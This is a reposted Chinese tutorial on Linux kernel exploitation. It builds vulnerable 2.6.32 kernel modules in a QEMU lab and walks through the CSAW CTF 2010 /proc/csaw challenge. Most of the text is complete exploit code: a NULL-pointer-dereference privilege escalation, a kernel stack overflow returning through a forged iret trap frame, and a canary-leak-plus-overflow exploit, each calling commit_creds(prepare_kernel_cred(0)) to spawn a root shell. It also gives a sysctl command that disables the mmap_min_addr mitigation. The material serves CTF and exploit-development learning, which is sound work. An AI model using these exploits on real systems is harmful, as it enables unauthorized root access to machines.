1. 程式人生 > >Linux核心漏洞利用入門

Linux核心漏洞利用入門

本文轉載自
Linux核心漏洞利用教程(一):環境配置
Linux核心漏洞利用教程(二):兩個Demo
Linux核心漏洞利用教程(三):實踐CSAW CTF題目
在配置環境的過程中花了很長時間,也遇到了一些文中沒有提到的問題,幸好最後都順利解決了,主要是下面這兩點。
這裡寫圖片描述
這裡寫圖片描述
按照文中的步驟搭好了環境放在百度網盤,包括編譯好的開啟CANCRY選項的核心和沒有開啟CANCRY選項的核心。大家可以直接下載使用,免去了搭建環境的煩惱。
點我下載(root的密碼是123)
我就不再說環境怎麼配置了,下面直接進入正題吧。

兩個簡單的kernel exploit

NULL Dereference

漏洞程式碼

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file,const char *buf,unsigned long len)
{
        my_funptr();
        return len;
}
static int __init null_dereference_init(void
) { printk(KERN_ALERT "null_dereference driver init!\n"); create_proc_entry("bug1",0666,0)->write_proc = bug1_write; return 0; } static void __exit null_dereference_exit(void) { printk(KERN_ALERT "null_dereference driver exit\n"); } module_init(null_dereference_init); module_exit(null_dereference_exit);

Makefile

obj-m := null_dereference.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/  
PWD := $(shell pwd)  
modules:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

程式碼中my_funptr函式指標指向不定,可以劫持之後執行程式碼,原理如下圖所示。
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述
把驅動編譯好,然後把*.ko檔案丟進busybox那個檔案系統中去,方便後面掛載使用。
POC

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "\xe9\xea\xbe\xad\x0b";//jmp 0xbadbeef
int main(){
    mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "muhe", 4);
    return 0;
}

gcc -static poc.c -o poc編譯好之後把程式複製到busybox-1.19.4/_install/usr,生成新的rootfs,啟動系統。啟動的時候按下ctrl+alt+2,然後gdb去連線。
這裡寫圖片描述
這裡寫圖片描述
qemu中ctrl+alt+1切換回去,然後進入usr目錄,掛載驅動後執行poc程式。
這裡寫圖片描述
gdb裡反彙編檢視當前執行的指令。
這裡寫圖片描述
exploit的思路是利用commit_creds(prepare_kernel_cred(0));給當前程序賦予root許可權,kernel裡面是不能直接執行system("/bin/sh");的。先取得commit_creds和prepare_kernel_cred地址。
這裡寫圖片描述
編寫shellcode。
這裡寫圖片描述
得到shellcode。
這裡寫圖片描述
我們需要分配0地址空間然後放入shellcode,jmp過去執行shellcode,使當前程序有root許可權,然後執行system("/bin/sh");,在程式返回使用者態之後拿到一個root的shell。
EXP

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "\x31\xc0\xe8\xb9\x7f\x06\xc1\xe8\x14\x7e\x06\xc1\xc3";
int main()
{
        mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
        memcpy(0, payload, sizeof(payload));
        int fd = open("/proc/bug1", O_WRONLY);
        write(fd, "muhe", 4);
        system("/bin/sh");//get root shell
        return 0;
}

新建使用者去測試EXP。
這裡寫圖片描述
但是得到報錯。
這裡寫圖片描述
這是因為2.6.32核心已經設定mmap_min_addr為4096作為緩解措施,需要重新設定下mmap_min_addr:sysctl -w vm.mmap_min_addr="0"。重新執行EXP。
這裡寫圖片描述
成功拿到root shell。

Kernel Stack Overflow

漏洞程式碼

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file,const char *buf,unsigned long len)
{
    char localbuf[8];
    memcpy(localbuf,buf,len);
    return len;
}
static int __init stack_smashing_init(void)
{
    printk(KERN_ALERT "stack_smashing driver init!\n");
    create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
    return 0;
}
static void __exit stack_smashing_exit(void)
{
    printk(KERN_ALERT "stack_smashing driver exit!\n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);

Makefile

obj-m := stack_smashing.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)  
modules:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

和使用者態的棧溢位原理一樣,拷貝、拼接字串的時候未作長度檢查,導致覆蓋棧上儲存的返回地址,只後可以劫持程式流程,從而實現程式碼執行的效果。只不過這是在核心空間,可以直接用來提權。
POC

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
    char buf[24] = {0};
    memset(buf,"A",24);
    *((void**)(buf + 20)) = 0x42424242;
    int fd = open("/proc/bug2",O_WRONLY);
    write(fd,buf,sizeof(buf));
}

可以看到payload結構很簡單,直接就是buffer+eip。按照前面的步驟編譯POC,然後構建檔案系統,qemu起核心後,執行POC。
這裡寫圖片描述
我們編譯的kernel預設開啟canary的,如果直接這麼去執行POC,會直接kernel panic,無法利用,所以需要關閉canary選項,重新編譯一個核心。編輯.config檔案,註釋掉CONFIG_CC_STACKPROTECTOR這一行,然後重新編譯核心。
這裡寫圖片描述
為了方便使用,在我給大家提供的虛擬機器中有兩個編譯好的核心,一個開啟了canary,一個未開啟canary。再起核心跑我們的POC,發現eip被覆蓋成了0x42424242。
這裡寫圖片描述
模組在編譯後按照上篇文章的方法,丟進busybox,然後qemu起核心然後除錯。由於模組並沒有作為vmlinux的一部分傳給gdb,因此必須通過某種方法把模組資訊告知gdb,可以通過add-symbol-file命令把模組的詳細資訊告知gdb,由於模組也是一個elf檔案,需要知道模組的.text、.bss、.data節區地址並通過add-symbol-file指定。由於stack_smashing模組沒有bss和data節區所以只需要指定text即可。qemu中設定好gdbserver後,找到模組的.text段的地址grep 0 /sys/module/stack_smashing/sections/.text
這裡寫圖片描述
這裡寫圖片描述
執行POC之後發現eip被覆蓋成了預期的值。
EXP
拿到shell的思路還是利用commit_creds(prepare_kernel_cred(0)),然後返回到使用者模式,返回到使用者模式執行iret指令。當使用iret指令返回到相同保護級別的任務時,iret會從堆疊彈出程式碼段選擇子及指令指標分別到CS與IP暫存器,並彈出標誌暫存器內容到EFLAGS暫存器。當使用iret指令返回到一個不同的保護級別時,iret不僅會從堆疊彈出以上內容,還會彈出堆疊段選擇子及堆疊指標分別到SS與SP暫存器。棧上儲存了trap frame,返回到使用者模式的時候恢復資訊從以下結構讀取。

struct trap_frame 
{
    void* eip;                // instruction pointer +0
    uint32_t cs;            // code segment    +4
    uint32_t eflags;        // CPU flags       +8
    void* esp;                // stack pointer       +12
    uint32_t ss;            // stack segment   +16
} __attribute__((packed));

那麼get root shell的思路就是先去執行commit_creds(prepare_kernel_cred(0)),然後返回到使用者模式,執行起shell,也就是說先把當前程序許可權提到root,然後執行起shell操作,那麼我們就可以得到一個root的shell了。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
void get_shell(void){
    execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
    asm("pushl %cs;popl tf+4;" //set cs
        "pushfl;popl tf+8;"  //set eflags
        "pushl %esp;popl tf+12;"
        "pushl %ss;popl tf+16;");
    tf.eip = &get_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067b20;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067980;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
       "iret;");
}
int main(void){
    char buf[24];
    memset(buf,0x41,24);
    *((void**)(buf+20)) = &payload; //set eip to payload
    init_tf_work();
    write(1,buf,sizeof(buf));
    int fd = open("/proc/bug2",O_WRONLY);
    //exploit
    write(fd,buf,sizeof(buf));
    return 0;
}

除錯EXP先要確定模組程式碼節地址。
這裡寫圖片描述
gdb中如圖設定。
這裡寫圖片描述
然後就可以返回到系統中,執行EXP程式了。對ret指令下斷,然後c過去,這時候單步的話,應該就ret到我們payload的地址了。
這裡寫圖片描述
檢視一下棧頂的情況。
這裡寫圖片描述
接下來單步進入我們的payload。
這裡寫圖片描述
這裡可以看到先去執行commit_creds(prepare_kernel_cred(0))了。
這裡寫圖片描述
我們主要關注iret。
這裡寫圖片描述
紅色部分就是我們偽造的tf結構。
這裡寫圖片描述
這邊可以看到eip指向是我們用來起shell的函式,這樣看來整個payload結構是沒什麼問題的。
這裡寫圖片描述
成功拿到root shell。

CSAW CTF 2010

漏洞程式碼

/*
 * csaw.c
 * CSAW CTF Challenge Kernel Module
 * Jon Oberheide <[email protected]>
 *
 * This module implements the /proc/csaw interface which can be read
 * and written like a normal file. For example:
 *
 * $ cat /proc/csaw 
 * Welcome to the CSAW CTF challenge. Best of luck!
 * $ echo "Hello World" > /proc/csaw
 */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");
static struct proc_dir_entry *csaw_proc;
/*
struct proc_dir_entry {
    unsigned short low_ino;
    unsigned short namelen;
    const char *name;
    mode_t mode;
    nlink_t nlink;
    uid_t uid;
    gid_t gid;
    unsigned long size;
    struct inode_operations * proc_iops;
    struct file_operations * proc_fops;
    get_info_t *get_info;
    struct module *owner;
    struct proc_dir_entry *next, *parent, *subdir;
    void *data;
    read_proc_t *read_proc;
    write_proc_t *write_proc;
    atomic_t count;      //use count 
    int deleted;        //delete flag
    kdev_t    rdev;
};
*/
int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    printk(KERN_INFO "csaw: called csaw_write\n");
    /* 
     * We should be safe to perform this copy from userspace since our 
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the 
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }
    return count;
}
int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];
    printk(KERN_INFO "csaw: called csaw_read\n");
    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);
    return MAX_LENGTH;
}
static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");
    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;
    printk(KERN_INFO "csaw: created /proc/csaw entry\n");
    return 0;
}
static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }
    printk(KERN_INFO "csaw: unloading module\n");
}
module_init(csaw_init);
module_exit(csaw_exit);

Makefile

obj-m := csaw.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)  
modules:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

首先漏洞點很好找,就是一個簡單粗暴的棧溢位。

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    printk(KERN_INFO "csaw: called csaw_write\n");
    /* 
     * We should be safe to perform this copy from userspace since our 
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the 
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }
    return count;
}

這裡從使用者空間做拷貝的時候未作任何check,導致過長的字串可以覆蓋到返回地值,這種情形和前面遇到的情況一樣,但是出題者開啟了kernel CANARY選項,也就是說直接去覆蓋的話會先覆蓋CANARY,然後就會過不了check從而kernel panic。是不是這就沒法玩了呢?一般來說,對於CANARY這種情況,我們採取的策略要麼是leak,要麼就是crack。繼續分析程式碼,看到read部分。

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];
    printk(KERN_INFO "csaw: called csaw_read\n");
    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    //could leak canary here!!!!
    memcpy(page, buf + off, MAX_LENGTH);
    return MAX_LENGTH;
}

拼接了棧上一個變數,然後拷貝到了使用者空間,而且拷貝的長度很長,這就是出題人故意留下的info leak,好讓我們可以leak CANARY的值。只需要組合payload為junk+CANARY+ebp+payload_addr就可以像之前一樣去get root shell。
POC

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main(int argc,char *argv[]){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("error\n");
        exit(1);
    }
    char poc[64];
    memset(poc,0x41,64);
    printf("Triger bug:\n");
    write(fd,poc,64);
    return 0;
}

POC的程式碼很簡單,直接觸發漏洞就可以,但是這種直接就kernel panic的。下面我們寫一個程式dump出CANARY的值。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main(int argc,char *argv[]){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("error\n");
        exit(1);
    }
    lseek(fd,16,SEEK_CUR);
    char buffer[64] = {0};
    read(fd,buffer,64);
    int i,j;
   // memset(buffer,0x41,64);
    for(i = 0;i<4;i++){
        for(j = 0;j<16;j++){
            printf("%02x ",buffer[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j = 0;j<16;j++){
            printf("%c",buffer[i*16+j] & 0xff);
        }
        printf("\n");
    }
    char canary[4] = {0};
    memcpy(canary,buffer+32,4);
    printf("CANARY:");
    for(i = 0;i<4;i++){
        printf("%02x",canary[i] & 0xff);
    }
    printf("\n");
    return 0;
}

還和之前一樣,編譯後,丟進busybox檔案系統,qemu起系統,之後測試我們的dump程式是否工作正常。
這裡寫圖片描述
我們的程式可以正常dump出CANARY的值,那麼下面的工作就很簡單了,直接可以利用這個leak,構造payload去拿root shell了。
EXP

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
void launch_shell(void) 
{ 
    execl("/bin/sh", "sh", NULL);
}
struct trap_frame tf;
void prepare_tf(void) 
{ 
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &launch_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067fc0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067e20;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
       "iret;");
}
int main(int argc,char *argv[]){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("error\n");
        exit(1);
    }
    lseek(fd,16,SEEK_CUR);
    char buffer[64] = {0};
    read(fd,buffer,64);
    int i,j;
    //memset(buffer,0x41,64);
    for(i = 0;i<4;i++){
        for(j = 0;j<16;j++){
            printf("%02x ",buffer[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j = 0;j<16;j++){
            printf("%c",buffer[i*16+j] & 0xff);
        }
        printf("\n");
    }
    char canary[4] = {0};
    memcpy(canary,buffer+32,4);
    printf("CANARY:");
    for(i = 0;i<4;i++){
        printf("%02x",canary[i] & 0xff);
    }
    printf("\n");
    char poc[84] = {0};
    memset(poc,0x41,76);
    memcpy(poc+64,canary,4);//set canary
    *((void**)(poc+64+4+4)) = &payload;
    printf("[*]payload:%s\n",poc);
    printf("Triger bug:\n");
    //init tf struct;
    prepare_tf();
    write(fd,poc,76);
    return 0;
}

還是像之前一樣,設定gdbserver,並且把csaw.ko這個模組的資訊傳遞給gdb。先確定模組程式碼節地址。
這裡寫圖片描述
這一步之後gdbserver連線,新增symbol-file之後,對有漏洞的函式下斷,就可以回到qemu中,啟用exploit程式了。
這裡寫圖片描述
對ret的地方下斷點,然後c過去。
這裡寫圖片描述
檢視一下棧頂的情況。
這裡寫圖片描述
出問題了,並沒有要ret到payload地址去。既然已經ret不到payload地址上,那麼需要往前找一找,單步一下看看棧頂的變化,找出造成這種情況的原因。
這裡寫圖片描述
直接對這個平衡棧的指令下斷,然後c,qemu裡再次跑一下exploit程式。
這裡寫圖片描述
這個時候檢視棧頂。
這裡寫圖片描述
我們的payload是在棧中的,看看執行完了add指令之後的情況。
這裡寫圖片描述
在執行了三條pop指令後payload地址會被彈到esi中去,那麼後面ret返回的時候,就直接返回到0xc114396c這個地址去了。解決方法是在後面新增junk位元組,大概把payload結構調整成junk+CANARY+ebp+pl_addr+pl_addr+pl_addr。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
void launch_shell(void) 
{ 
    execl("/bin/sh", "sh", NULL);
}
struct trap_frame tf;
void prepare_tf(void) 
{ 
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &launch_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067fc0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067e20;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
       "iret;");
}
int main(int argc,char *argv[]){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("error\n");
        exit(1);
    }
    lseek(fd,16,SEEK_CUR);
    char buffer[64] = {0};
    read(fd,buffer,64);
    int i,j;
    //memset(buffer,0x41,64);
    for(i = 0;i<4;i++){
        for(j = 0;j<16;j++){
            printf("%02x ",buffer[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j = 0;j<16;j++){
            printf("%c",buffer[i*16+j] & 0xff);
        }
        printf("\n");
    }
    char canary[4] = {0};
    memcpy(canary,buffer+32,4);
    printf("CANARY:");
    for(i = 0;i<4;i++){
        printf("%02x",canary[i] & 0xff);
    }
    printf("\n");
    char poc[84] = {0};
    memset(poc,0x41,84);
    memcpy(poc+64,canary,4);//set canary
    *((void**)(poc+64+4+4)) = &payload;
    *((void**)(poc+64+4+4+4)) = &payload;
    *((void**)(poc+64+4+4+4+4)) = &payload;
    printf("[*]payload:%s\n",poc);
    printf("Triger bug:\n");
    //init tf struct;
    prepare_tf();
    write(fd,poc,84);
    return 0;
}

編譯執行exploit_final,除錯檢視執行過程。
這裡寫圖片描述
檢視棧頂,發現是我們payload的地址,單步過去檢視。
這裡寫圖片描述
先去執行commit_creds(prepare_kernel_cred(0)),然後我們檢視一下偽造的tf結構。
這裡寫圖片描述
看一下tf.eip指向的函式。
這裡寫圖片描述
和exploit_final的get shell函式對比一下。
這裡寫圖片描述
沒什麼問題,我們直接c過去。
這裡寫圖片描述
新增普通使用者muhe,然後測試EXP。
這裡寫圖片描述
成功拿到root shell。

相關推薦

Linux核心漏洞利用入門

本文轉載自 Linux核心漏洞利用教程(一):環境配置 Linux核心漏洞利用教程(二):兩個Demo Linux核心漏洞利用教程(三):實踐CSAW CTF題目 在配置環境的過程中花了很長時間,也遇到了一些文中沒有提到的問題,幸好最後都順利解決了,主要

Windows核心漏洞利用提權教程

PS. 原文僅限於技巧計劃,嚴禁用於其餘用途。 繼上一篇“運用自動化足原舉行Windows提權”,原文將引見有閉Windows核心馬足提權的方式。爾將運用內建的Metasploit模組動作演練。經過原文的進修,你將領會體系的哪些區域性可被運用,並配合最佳可運用模組進一步的提高權力。 Wind

廖威雄: 思維導圖:利用__attribute__((section()))構建初始化函式表與Linux核心init的實現

本文具體解說了利用__attribute__((section()))構建初始化函式表。以及Linux核心各級初始化的原理。 作者簡單介紹:     廖威雄,2016年本科畢業於暨南大學。眼下就職於珠海全志科技股份有限公司從事linu

linux漏洞利用

快取區溢位: EBP基址指標暫存器,ESP棧指標基礎器. EBP指向程序的當前棧幀的底部,ESP總是指向棧頂.棧是從記憶體高地址處向低地址反向增長. #include <stdio.h> greeting(char *temp1, char *temp2){ char n

Canonical 釋出適用於Ubuntu 16.04 LTS的Linux核心補丁,修復了4個安全漏洞

新的Linux核心安全更新適用於Ubuntu 16.04 LTS(Xenial Xerus)作業系統系列及其衍生版的所有使用者,影響所有使用原始Linux 4.4核心的使用者。如果您從Ubuntu 18.04 LTS(Bionic Beaver)將Ubuntu 16.04 LTS安裝升級到Linux 4.15

換種方法學作業系統,輕鬆入門Linux核心

​​​​計算機已成為現代人日常工作、學習和生活中必不可少的工具。作業系統是計算機之魂,作為使用者使用計算機的介面,它負責排程執行各個使用者程式,使計算機完成特定的任務;作為計算機硬體資源的管理者,它負責協調計算機中各類裝置高效地工作。作業系統的重要性不言而喻。 對於軟體工程師,理解作業系統的

Linux核心中發現未修補的DoS漏洞

貢獻者Wanpeng Li在Linux核心中發現的兩個拒絕服務(DoS)漏洞,可能允許本地攻擊者利用空指標引用錯誤來觸發DoS條件。 第一個在Common Vulnerabilities and Exposures資料庫中,編號為CVE-2018-19406,漏洞存在於Linux核心的kvm_pv_se

linux漏洞分析入門筆記-棧溢位

ida7.0 ubuntu16.04 lts 0x00:環境配置 使用IDA遠端除錯Linux程式步驟如下: 1. 在進行遠端除錯之前需要對Linux平臺進行一些準備工作。在IDA的安裝目錄中的dbgsrv資料夾中,選擇linux_server或者linux_serverx64複製到需要除錯Linux

Linux核心入門: __attribute__ 機制

GNU C的一大特色(卻不被初學者所知)就是__attribute__機制。__attribute__是用來設定函式屬性(Function Attribute)、變數屬性(Variable Attribute)和型別屬性(Type Attribute)。 __attribu

Linux核心入門: ip協議頭定義

struct iphdr { #if defined(__LITTLE_ENDIAN_BITFIELD) __u8 ihl:4, version:4; #elif defined (__B

linux漏洞分析入門筆記-bypass_PIE

recv bre 代碼 src pytho ace 測試 send pad ubuntu 16.04 IDA 7.0 docker 0x00:漏洞分析 1.ASLR的是操作系統的功能選項,作用於executable(ELF)裝入內存運行時,因而只能隨機化stack、heap

一則利用核心漏洞獲取root許可權的案例

kernel 最近出了一個新的本地提權安全漏洞CVE-2013-1763,影響範圍比較廣泛,ubuntu,Arch,fedora都受到其影響,漏洞剛公佈就有牛人釋出了利用該漏洞獲取root許可權的攻擊程式碼,下面會分析該程式碼是如何獲取root許可權的。 1. 漏洞描

利用nfs下載linux核心

利用路由器,將主機,虛擬機器,開發板在橋接環境下組建區域網 (1)設定主機,虛擬機器為同一個網段(這裡虛擬機器為ubuntu 12.04 發現採用橋接後,網路設定為自動獲取就沒問題了, 當我想手動設定固定ip的時候,出現一個問題:參照主機的網路引數設定ip,閘道器等,也設定

Linux漏洞分析入門筆記-CVE-2015-0235

Ubuntu 12.04 32位 ida 7.0 0x00:漏洞描述 1.glibc的__nss_hostname_digits_dots存在緩衝區溢位漏洞,導致使用gethostbyname系列函式的某些軟體存在程式碼執行或者資訊洩露的安全風險。 通過gethostbyname()函式或gethos

Linux核心入門——使用者態向核心態切換

除了使用者資料段、使用者程式碼段、核心資料段、核心程式碼段這4個段以外,Linux還使用了其它幾個專門的段,下面我們專門來探討,如圖:在單處理器系統中只有一個GDT,而在多處理器系統中每個CPU對應一個GDT。所有的GDT都存放在cpu_gdt_table 陣列中,而所有GDT(當初始化gdtr 暫存器時

Linux核心入門: UL(x)、ULL(x)

某些常量巨集會同時被C和asm引用,而C與asm在對立即數符號的處理上是不同的。asm中通過指令來區分其運算元是有符號還是無符號的,而不是通過運算元。而C中是通過變數的屬性,而不是通過操作符。C中如果要指明常量有無符號,必須為常量新增字尾,而asm則通過使用不同的指令來指明。

Linux核心入門—— __attribute__ 機制

        GNU C的一大特色(卻不被初學者所知)就是__attribute__機制。__attribute__是用來設定函式屬性(Function Attribute)、變數屬性(Variable Attribute)和型別屬性(Type Attribute)。 __attribute__書寫特徵是

Linux漏洞分析入門筆記-Off-By-One(棧)

ubuntu-16.04.5(X86) IDA7.0 0x00.漏洞描述 1.什麼是off by one?又稱1位元組溢位。 源字串長度等於目標緩衝區長度時,將源字串複製到目標緩衝區可能會導致off by one。 當源字串長度等於目標緩衝區長度時,NULL位元組將被複制到目標緩衝區上方。這裡由於目

Linux核心入門: IPsec相關知識及其定義

struct ip_auth_hdr { __u8 nexthdr; __u8 hdrlen; /* This one is measured in 32 bit units! */ __be16 reserved; __be32 spi; __be32 se

Linux核心開發-入門

如何入門 Linux 核心 首先,讓我們看看如何獲取、構建並執行 Linux 核心。你可以通過兩種方式來執行你自己定製的核心: 在虛擬機器裡執行 Linux 核心; 在真實的硬體上執行 Linux 核心。 我會對這兩種方式都展開描述。在我們開始對 Linux 核心做些什麼之前,